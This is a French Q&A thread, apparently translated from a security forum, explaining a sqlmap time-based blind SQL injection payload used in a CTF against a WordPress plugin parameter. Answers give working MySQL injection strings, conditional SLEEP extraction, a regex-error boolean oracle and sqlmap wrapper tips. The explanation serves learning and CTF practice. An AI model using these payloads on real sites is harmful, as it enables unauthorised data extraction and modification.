web-dev-qa-db-fra.com

Comprendre la charge utile SQLMAP

Je participais à un CTF et il y avait un défi d'injection SQL. Il existe une page Wordpress avec un paramètre de plugin vulnérable (appelons le site Web https://vulnerable.com/), et la solution provient de fuites de valeurs de la base de données. À l'aide de SQLMAP, il a rapidement trouvé la charge utile.

Lors de la visite de la page, il y a un délai de "N" secondes.

http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm)

SQLMAP a ensuite résolu le problème avec facilité. Cela m'a laissé un peu coupable, car je ne comprends pas vraiment la charge utile. J'ai essayé de le changer comme suit, mais aucun retard n'a lieu.

Aucun retard n'a eu lieu.

http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND SELECT(SLEEP(N))

Quelqu'un pourrait-il m'aider à comprendre les instructions imbriquées SELECT, le nombre 1749 et la chaîne apparemment aléatoire nQtm?, sont-elles aléatoires?, pourquoi la charge utile échoue-t-elle sans les instructions imbriquées SELECT?

11
Michael Hoefler

Je suppose que c'est une base de données MySQL.

_1749_ (est supérieur à 0) et nQtm (alias valide - "nom de variable" pour la table dérivée) ont été choisis au hasard par sqlmap. Le problème avec sleep(N) est que base de données SQL l'évalue à 0 et donc _post=1 AND 0_ sera évalué à zéro ( FALSE : 1 ET 0 = 0) aussi. La valeur _1749_ est interprétée par base de données SQL comme TRUE (choses similaires (if (42) { ... } ) se produit en [~ # ~] php [~ # ~] ou en python ou en [~ # ~] c [~ # ~] et probablement ailleurs mais je n'utilise pas ce style de codage car il est difficile à lire et peut conduire à des bugs involontaires).

Aucun retard n'a eu lieu.

http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND SELECT (SLEEP (N))

J'ai créé juste une requête aléatoire et elle a toujours été retardée de 3 secondes. Je ne peux donc pas vraiment expliquer pourquoi cela n'a pas tardé dans votre cas (peut-être que ce n'est pas Base de données MySQL (Peut-être que c'est Sqlite) ou peut-être une base de données interne L'optimiseur a ignoré cette partie avec sleep(N) car elle a été immédiatement évaluée à zéro, car il n'y a pas if-branches. J'ai couru une fois dans un problème similaire avec SLEEP (N) )

_select t.a from (select 1 as a, 2 as b, 3 as c) as t where t.b = 2 and 1=(select(sleep(3)))
_

enter image description here


Détails:

SELECT(SLEEP(1))retourne

_(SELECT 1749 FROM (SELECT(SLEEP(1))) nQtm)_ où nQtm est n alias (vous pouvez l'appeler une variable si vous le souhaitez) pour dérivétable _(SELECT(SLEEP(1)))_. Si vous essayez d'exécuter _(SELECT nQtm.* FROM (SELECT(SLEEP(1))) as nQtm)_ le résultat sera juste 0 (une ligne avec le résultat 0).

Cela revient à écrire select t.* from (select 0) as t qui donnera 0 (vous sélectionnez toutes les colonnes et toutes les lignes ici, mais comme nous n'avons qu'une ligne et une colonne, le résultat est 0).

Donc _(SELECT 1749 FROM (SELECT(SLEEP(N))) nQtm)_ entraînera toujours _1749_ - peu importe ce que vous mettez dans SLEEP(N) - cela retardera [~ # ~] n [~ # ~ ] secondes, mais le résultat sera le même (select 42 from (select 0) sélectionnera toujours 42 donc il est en quelque sorte indépendant de la table dérivée _(select 0)_).

XAMPP: derived table

Imaginez que la requête SQL d'origine soit:

_"UPDATE
    posts
SET
    data='hello world'
WHERE
    user_id=42
    AND post=".$_POST["post"];
_

Maintenant, si vous faites une injection, cela se traduira par:

_UPDATE
    posts
SET
    data='hello world'
WHERE
    user_id=42
    AND post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm)
_

... AND post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm) qui est identique à _... AND post=1 AND 1749_ qui sera probablement évalué à 1 (qui est TRUE ) si l'entrée stockée pour post est également 1 (_1=1 AND 1749_ identique à _1 AND 1749_ identique à _1_). Il dormira donc [~ # ~] n [~ # ~] secondes, puis effectuera une mise à jour de la base de données [~ # ~] db [~ # ~].

Vous pouvez l'exploiter avec l'instruction _if...then...else_. Il y en a 2 dans MySQL: _(if (isMyDogBrown?, true, false))_ et _(case (isMyDogBrown?) then (true) else (false) end)_. Alors maintenant, vous pouvez construire votre requête et si quelque chose est évalué à VRAI il dormira pendant [~ # ~] n [~ # ~] secondes: _(SELECT IF ( substr(@@version, 0, 1)='1'), sleep(5), 0)_.


Note: Vous pouvez optimiser votre requête en évitant _time based exploitation_ (très lent). Vous pouvez utiliser _binary search based exploitation technique_ ex. en utilisant le fait que les erreurs dans MySQL expressions régulières sont traitées comme des erreurs MySQL (donc "MySQL/erreur de serveur" vous évaluerez à TRUE et "page régulière" à FALSE ; ... et cela pourrait spammer le mysql.log avec des messages d'erreur sur ce serveur):

_(select (1) rlike (if (".$cmd.", true, 0x28)))
_

(_0x28_ = _(_) ( https://www.systutorials.com/4670/ascii-table-and-ascii-code/ )

Notes supplémentaires:

  1. Voici une excellente source de différentes méthodes d'exploitation qui était il y a de nombreuses années ma source d'apprentissage de l'injection SQL: https://websec.wordpress.com/category/sqli/
  2. Si vous devez exploiter une requête lourde (basée sur le temps): https://github.com/sqlmapproject/sqlmap/issues/2909 - vous devrez écrire votre propre wrapper sur localhost ( localhost/wrapper.php? id = INJECT_HERE) ce qui facilitera l'exploitation pour sqlmap. sqlmap a parfois du mal à détecter la vulnérabilité.
  3. SLEEP(N) ne fonctionnera pas toujours partout (dans les cas où votre requête SQL DOIT être quelque peu cassée et ne pas retourner de résultats qui pourraient être évalués par certains filtres dans le script PHP principal/autre (comme le compteur de tentatives de connexion, etc.)) . Parfois, vous aurez besoin de _heavy query based exploitation_: https://stackoverflow.com/questions/45666126/strange-behaviour-of-mysql-sleep-function
6
Awaaaaarghhh

En général, l'injection SQL dépend du moteur de base de données utilisé, je pense que dans votre exemple, vous fournissez un sql pour la base de données MariaDB/MySQL. La fonction sleep sur PostgreSQL est pg_sleep, donc votre injection ne fonctionnera pas sur PostgreSQL.

MariaDB [CODINGGROUND]> (SELECT 1749 FROM (SELECT(SLEEP(1)))nQtm)                                                                                                                
    -> ;                                                                                                                                                                         
+------+                                                                                                                                                                         
| 1749 |                                                                                                                                                                         
+------+                                                                                                                                                                         
| 1749 |                                                                                                                                                                         
+------+ 

Et l'autre requête

MariaDB [CODINGGROUND]> select (sleep(1));                                                                                                                                       
+------------+                                                                                                                                                                   
| (sleep(1)) |                                                                                                                                                                   
+------------+                                                                                                                                                                   
|          0 |                                                                                                                                                                   
+------------+                                                                                                                                                                   
1 row in set (1.00 sec)  

Donc, fondamentalement, vous pouvez comprendre pourquoi l'un fonctionne et l'autre pas. Mais gardez à l'esprit qu'en général, l'injection SQL dépend du serveur de base de données que vous utilisez. Parce que SQL est un langage standard mais pas tous les moteurs implémentent de la même manière et ils ont leurs différences.

0
camp0